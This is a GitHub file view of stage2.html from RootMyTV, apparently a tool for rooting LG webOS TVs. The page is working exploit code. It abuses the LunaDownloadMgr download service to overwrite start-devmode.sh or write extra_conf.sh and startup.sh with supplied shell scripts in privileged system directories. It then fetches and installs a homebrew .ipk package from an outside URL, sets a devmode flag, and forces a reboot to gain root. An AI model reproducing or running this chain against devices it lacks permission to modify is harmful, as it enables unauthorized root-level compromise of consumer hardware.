-
-
Notifications
You must be signed in to change notification settings - Fork 65
/
Copy pathstage2.html
120 lines (108 loc) · 3.99 KB
/
stage2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<!DOCTYPE html>
<html>
<head>
<title>RootMyTV - Stage 2</title>
<link rel="stylesheet" href="css/common.css" />
</head>
<body>
<header>
<h1>RootMy.TV<small> 2.0</small></h1>
</header>
<hr>
<section class="content-center">
<article>
<pre id="log"></pre>
</article>
</section>
<hr>
<script src="lib/webOSTV.js"></script>
<script>
// Break out of an iframe...
if (window !== window.top) {
window.top.location.href = location.href
}
</script>
<script>
function log(str) {
var logBox = document.querySelector('#log');
logBox.innerText = logBox.innerText + str + '\n';
logBox.scrollIntoView(false)
}
window.onerror = function (err) {log('Unexpected error: ' + err);};
(function () {
function download(url, targetDir, targetFilename, success, failure) {
var target = new URL(url, window.location.href).href;
log(targetFilename + ': Downloading from ' + target + '...');
webOS.service.request('luna://com.webos.service.downloadmanager', {
method: 'download',
parameters: {
target: target,
targetDir: targetDir,
targetFilename: targetFilename,
subscribe: true,
},
onSuccess: function (res) {
if (res.completed === true) {
if (res.destPath !== targetDir) {
if (failure != undefined) {
failure(res);
} else {
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
}
} else if (res.httpStatus !== 200) {
log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
} else {
log(targetFilename + ': Download completed');
success();
}
}
},
onFailure: function (err) {
log(targetFilename + ': Luna call failed: ' + JSON.stringify(err));
if (failure != undefined) {
failure(err);
}
},
});
}
function reboot() {
webOS.service.request('luna://com.webos.service.sleep', {
method: 'shutdown/machineReboot',
parameters: {
reason: "remoteKey"
},
onSuccess: function (res) {
log("Reboot request succeeded. Bye?");
},
onFailure: function (res) {
log("Failed to reboot: " + JSON.stringify(res));
},
});
}
var homebrewChannelURL = 'https://github.com/webosbrew/webos-homebrew-channel/releases/download/v0.6.3/org.webosbrew.hbchannel_0.6.3_all.ipk';
function bootstrapStage3() {
download('files/stage3.sh', '/mnt/lg/cmn_data/var/lib/webosbrew/', 'startup.sh', function () {
download(homebrewChannelURL, '/mnt/lg/appstore/internal/downloads/', 'hbchannel.ipk', function () {
download('files/dummy', '/mnt/lg/cmn_data/var/luna/preferences/', 'devmode_enabled', function () {
log("Your TV shall reboot in 5 seconds...");
setTimeout(function () {
reboot();
}, 5000);
});
});
});
}
// Attempt to go through original pre-2021/06 route. This will fail on patched TVs.
download('files/jumpstart.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode.sh', function () {
log("Original start-devmode.sh overwrite succeeded, using original chain...");
bootstrapStage3();
}, function () {
log("Original start-devmode.sh overwrite failed, attempting v2 exploit...");
download('files/jumpstart.sh', '/mnt/lg/cmn_data/wam/', 'extra_conf.sh', function () {
bootstrapStage3();
});
});
})();
</script>
</body>
</html>